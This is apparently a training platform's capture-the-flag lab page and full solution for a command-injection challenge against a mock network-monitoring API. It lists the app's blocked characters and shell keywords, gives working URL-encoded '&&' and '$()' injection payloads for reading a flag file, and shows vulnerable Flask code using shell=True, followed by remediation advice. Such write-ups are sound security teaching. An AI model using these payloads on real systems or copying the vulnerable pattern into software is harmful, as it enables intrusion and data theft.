Labs / RCE Playground

Medium
Released 02 Sep 2025

💻 Can you bypass their advanced input filtering to achieve RCE?

A sophisticated network monitoring platform implements multiple layers of input validation and security controls. But when legitimate monitoring features meet insufficient input sanitization, even the most filtered parameters can become pathways to remote code execution. 🎯 Time to test your filter bypass skills!

Flags

Points

Medium

Solution Available

Pro Exclusive

Start Lab Environment

~1-2 min setup

AWS dedicated

Private instance

Industry standard

Medium

💻 RCE Playground - Complete Command Injection Solution

Objective: Exploit command injection vulnerabilities in a network monitoring application by bypassing multiple input validation filters to achieve remote code execution and retrieve the flag.

🔍 Step 1: Understanding Command Injection

Command injection occurs when user input is passed to system commands without proper sanitization. This application implements multiple layers of input filtering, making it a realistic challenge that requires advanced bypass techniques commonly encountered in penetration testing.

🔍 Step 2: Initial Reconnaissance

Navigate to to access the SecureMonitor Management Portal. This is a network monitoring application with multiple endpoints that perform system operations. Explore the available endpoints to understand the application's functionality and identify potential attack vectors.

🔍 Step 3: Application Enumeration

The application provides four main endpoints:

System Information

/system-info
- Shows running processes
- Network configuration
- Filesystem information

Debug Console

/debug
- Environment variables
- Mounted filesystems
- User information

Network Monitor

/api/monitor
- Advanced monitoring tools
- Network connectivity
- System resource analysis

Health Status

/health
- Basic system health
- Timestamp information

🔍 Step 4: API Discovery and Parameter Enumeration

The most interesting endpoint is /api/monitor. Start by accessing it without parameters to understand its functionality:

# Initial API exploration
GET /api/monitor

# Response reveals default behavior:
{
  "status": "success",
  "type": "basic",
  "results": {
    "uptime": "...",
    "free -m": "...",
    "df -h /": "..."
  }
}

Key observations from the default response:

The API accepts a type parameter (defaults to "basic")
System commands are being executed (uptime, free, df)
The response suggests other monitoring types might exist

🔍 Step 5: Parameter Discovery Through Logical Testing

Based on the default response showing system commands and the "basic" type, test common network monitoring types:

Type Parameter Discovery

# Test common monitoring types
GET /api/monitor?type=ping
GET /api/monitor?type=port
GET /api/monitor?type=disk
GET /api/monitor?type=network
GET /api/monitor?type=scan

Error-Based Parameter Discovery

# Errors reveal required parameters:
# type=ping → needs "target"
# type=port → needs "target", "port"
# type=disk → needs "path"

🔍 Step 6: Functional API Testing

Once you discover the available types and their parameters, test the functionality:

# Ping monitoring
GET /api/monitor?type=ping&target=localhost

# Port scanning
GET /api/monitor?type=port&target=localhost&port=80

# Disk usage analysis
GET /api/monitor?type=disk&path=/

# Observe the responses to understand command execution

🔍 Step 7: Understanding Input Filtering

Through testing, you'll discover the application implements multiple layers of input validation:

Blocked Characters

# Test these characters in target parameter:
; & | ` $ ( ) { } < > * ? [ ] ! #

# Result: "Security violation: Blocked characters detected"

Blocked Commands

# Test these commands in target parameter:
rm, cat, ls, bash, sh, nc, wget, curl

# Result: "Security violation: Blocked command detected"

🔍 Step 8: Identifying Bypass Opportunities

After understanding the filtering, look for parameters with different validation rules:

# Test different parameters for injection:
# target parameter: heavily filtered
# port parameter: numeric validation only
# path parameter: basic directory traversal check
# timeout parameter: minimal validation (discovered through port type)

Key discovery: The path parameter in disk monitoring only checks for basic directory traversal (..) but doesn't validate against command injection!

🔍 Step 9: Command Injection Discovery

The disk monitoring endpoint is vulnerable to command injection through the path parameter. The underlying command structure is:

# Backend command structure
df -h {path}

# This allows command chaining and substitution

🔍 Step 10: Bypass Technique 1 - Command Chaining

The most reliable exploitation method uses command chaining with the && operator:

# Command chaining syntax
GET /api/monitor?type=disk&path=/tmp && head /home/appuser/flag.txt

# URL encoded version (required for proper transmission)
GET /api/monitor?type=disk&path=/tmp%20%26%26%20head%20/home/appuser/flag.txt

# Breaking down the URL encoding:
# %20 = space character
# %26 = & character
# So %26%26 = &&

How this works:

The command becomes: df -h /tmp && head /home/appuser/flag.txt
First part (df -h /tmp) executes successfully and shows disk usage
The && operator chains the second command
Second part (head /home/appuser/flag.txt) reads the flag file
Both outputs are combined in the JSON response

🔍 Step 11: Successful Flag Extraction

Execute the working payload to retrieve the flag:

# Final working payload
GET /api/monitor?type=disk&path=/tmp%20%26%26%20head%20/home/appuser/flag.txt

# Expected response structure:
{
  "format": "human",
  "path": "/tmp && head /home/appuser/flag.txt",
  "result": "Filesystem info...\n[FLAG_CONTENT_HERE]\n",
  "status": "success",
  "type": "disk_usage"
}

# The flag appears at the end of the "result" field

🔍 Step 12: Alternative Bypass Techniques

Command Substitution (Limited Success)

# Command substitution syntax
GET /api/monitor?type=disk&path=/$(head /home/appuser/flag.txt)

# URL encoded
GET /api/monitor?type=disk&path=/%24%28head%20/home/appuser/flag.txt%29

# Note: This method has limitations as the flag content becomes part of the path, causing df to fail

Alternative Commands

# Use different file reading commands
tail /home/appuser/flag.txt
od -c /home/appuser/flag.txt
xxd /home/appuser/flag.txt
more /home/appuser/flag.txt
less /home/appuser/flag.txt

🔍 Step 13: Exploitation Methods

Using cURL

# Execute command injection
curl "http:///api/monitor?type=disk&path=/tmp%20%26%26%20head%20/home/appuser/flag.txt"

# Parse JSON response
curl -s "http:///api/monitor?type=disk&path=/tmp%20%26%26%20head%20/home/appuser/flag.txt" | jq -r '.result'

Using Browser

Navigate to /api/monitor
Manually construct URL with payload
Submit the request
Look for flag in JSON response
Flag appears at end of "result" field

Using Burp Suite

Intercept monitor request
Modify path parameter
Add command chaining payload
Analyze response for flag
Use Burp's JSON viewer for clarity

🔍 Step 14: Understanding Why This Works

The vulnerability exists because:

# Vulnerable Flask code
command = f'df {flag} {path}'
result = subprocess.check_output(command, shell=True)

# When path = "/tmp && head /home/appuser/flag.txt"
# The command becomes:
# df -h /tmp && head /home/appuser/flag.txt

# Both commands execute and their output is combined

Key factors that make this exploitation successful:

Shell=True: Allows command chaining operators
Insufficient Input Validation: Path parameter not properly sanitized
Command Chaining: && operator executes second command after first succeeds
Output Combination: Both command outputs appear in the response

🔍 Step 15: Advanced Discovery Techniques

API Fuzzing

# Test various type values
GET /api/monitor?type=test
GET /api/monitor?type=admin
GET /api/monitor?type=debug

# Fuzz parameter names
GET /api/monitor?cmd=test
GET /api/monitor?command=test

Error Analysis

# Analyze error messages for clues
# Look for parameter hints
# Check for debug information
# Test edge cases and malformed requests

🔍 Step 16: Security Implications

Command injection vulnerabilities can lead to:

Remote Code Execution: Complete control over the application server
Data Exfiltration: Access to sensitive files and databases
System Reconnaissance: Information gathering about the infrastructure
Privilege Escalation: Potential access to higher-privileged accounts
Lateral Movement: Access to other systems on the network

🔍 Step 17: Remediation Strategies

To prevent command injection vulnerabilities:

Input Sanitization: Never pass user input directly to system commands
Parameterized Commands: Use proper APIs instead of shell commands
Whitelist Validation: Only allow known-good input patterns
Least Privilege: Run applications with minimal required permissions
Security Testing: Regular penetration testing and code review
Command Validation: Validate against command chaining operators (&&, ||, ;)
API Documentation: Avoid exposing internal parameter structure

Flag Location: The flag is located at /home/appuser/flag.txt and can be retrieved using the command chaining technique described above. Look for the UUID in the "result" field of the JSON response.

Real-World Application: This challenge demonstrates realistic API discovery and exploitation techniques commonly used in penetration testing. The command chaining approach is a fundamental technique for bypassing input validation in command injection scenarios, especially when direct command substitution faces limitations.